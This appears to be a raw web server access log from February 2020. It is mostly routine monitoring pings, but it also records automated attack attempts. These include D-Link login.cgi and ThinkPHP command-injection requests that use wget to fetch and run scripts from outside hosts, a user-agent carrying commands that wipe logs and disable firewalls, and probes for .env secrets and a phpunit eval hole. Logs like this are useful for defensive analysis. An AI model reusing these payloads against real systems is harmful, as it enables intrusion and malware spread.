212.91.246.72 - - [21/Feb/2020:15:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:24:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.45.192.156 - - [21/Feb/2020:15:26:17 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://134.209.36.155/bin%20-O%20-%3E%20/tmp/hk;sh%20/tmp/hk%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0;rm -rf /tmp/* /var/* /var/run/* /var/tmp/*;rm -rf /var/log/wtmp;rm -rf ~/.bash_history;history -c;history -w;rm -rf /tmp/*;history -c;rm -rf /bin/netstat;history -w;pkill -9 busybox;pkill -9 perl;service iptables stop;/sbin/iptables -F;/sbin/iptables -X;service firewalld stop;"
212.91.246.72 - - [21/Feb/2020:15:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:27:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:29:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:30:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:33:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.33 - - [21/Feb/2020:15:34:01 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
212.91.246.72 - - [21/Feb/2020:15:34:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:35:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
167.250.10.73 - - [21/Feb/2020:15:35:59 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:15:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.235.195.218 - - [21/Feb/2020:15:38:21 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:15:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
110.9.148.211 - - [21/Feb/2020:15:39:11 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [21/Feb/2020:15:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
102.165.124.145 - - [21/Feb/2020:15:43:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:15:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
190.196.171.195 - - [21/Feb/2020:15:46:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:15:47:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:49:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.202.144.122 - - [21/Feb/2020:15:49:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:15:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:52:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:54:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:55:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
192.145.207.42 - - [21/Feb/2020:15:55:50 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:15:56:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:57:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:58:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:15:59:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
3.92.231.39 - - [21/Feb/2020:15:59:48 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
3.92.231.39 - - [21/Feb/2020:15:59:49 +0100] "GET /favicon.ico HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.84 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:16:00:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:01:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:02:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:03:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:04:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:05:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:06:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:07:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:08:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:09:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:10:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:11:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:12:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:13:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:14:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:15:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:16:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:17:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:18:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:19:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:20:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:21:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:22:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:23:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:24:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:25:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
177.37.164.125 - - [21/Feb/2020:16:25:37 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:16:26:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:27:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
81.24.119.68 - - [21/Feb/2020:16:28:31 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [21/Feb/2020:16:28:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
185.234.217.32 - - [21/Feb/2020:16:29:17 +0100] "GET /shared/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:16:29:17 +0100] "GET /~dev/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:16:29:17 +0100] "GET /core/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:16:29:17 +0100] "GET /api/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:16:29:17 +0100] "GET /cp/.env HTTP/1.1" 404 312 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:16:29:18 +0100] "GET /admin/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:16:29:18 +0100] "GET /web/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:16:29:18 +0100] "GET /admin-app/.env HTTP/1.1" 404 319 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:16:29:18 +0100] "GET /sources/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:16:29:18 +0100] "GET /.env HTTP/1.1" 404 309 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:16:29:18 +0100] "GET /dev/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:16:29:18 +0100] "GET /apps/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:16:29:18 +0100] "GET /system/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:16:29:18 +0100] "GET /local/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:16:29:18 +0100] "GET /rest/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:16:29:18 +0100] "GET /fedex/.env HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:16:29:18 +0100] "GET /private/.env HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:16:29:18 +0100] "GET /back/.env HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:16:29:18 +0100] "GET /docker/.env HTTP/1.1" 404 316 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:16:29:18 +0100] "GET /development/.env HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
185.234.217.32 - - [21/Feb/2020:16:29:18 +0100] "GET /app/.env HTTP/1.1" 404 313 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0"
212.91.246.72 - - [21/Feb/2020:16:29:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:30:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:31:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:32:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [21/Feb/2020:16:33:20 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:16:33:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:34:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [21/Feb/2020:16:34:46 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:16:35:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:36:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.101.0.209 - - [21/Feb/2020:16:36:37 +0100] "POST /vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php HTTP/1.1" 404 355 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:16:37:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:38:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:39:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:40:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:41:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.156.220.44 - - [21/Feb/2020:16:41:57 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [21/Feb/2020:16:42:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
37.254.229.163 - - [21/Feb/2020:16:42:37 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://cnc.stanleyy.xyz/dlink%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [21/Feb/2020:16:43:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:44:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:45:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:46:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
83.97.20.34 - - [21/Feb/2020:16:46:56 +0100] "GET / HTTP/1.0" 200 1229 "-" "-"
27.216.245.215 - - [21/Feb/2020:16:47:24 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://176.123.4.234/Dlinkrep.sh%20-O%20-%3E%20/tmp/kh;Dlinkrep.sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
212.91.246.72 - - [21/Feb/2020:16:47:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
203.113.119.210 - - [21/Feb/2020:16:47:39 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.113.119.210 - - [21/Feb/2020:16:47:40 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.113.119.210 - - [21/Feb/2020:16:47:40 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.113.119.210 - - [21/Feb/2020:16:47:40 +0100] "GET /html/public/index.php HTTP/1.1" 404 326 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.113.119.210 - - [21/Feb/2020:16:47:41 +0100] "GET /public/index.php HTTP/1.1" 404 321 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.113.119.210 - - [21/Feb/2020:16:47:41 +0100] "GET /TP/html/public/index.php HTTP/1.1" 404 329 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.113.119.210 - - [21/Feb/2020:16:47:42 +0100] "GET /elrekt.php HTTP/1.1" 404 315 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.113.119.210 - - [21/Feb/2020:16:47:42 +0100] "GET /index.php HTTP/1.1" 404 314 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
203.113.119.210 - - [21/Feb/2020:16:47:42 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [21/Feb/2020:16:48:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:49:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:50:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:51:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:52:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:53:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:54:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [21/Feb/2020:16:55:34 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
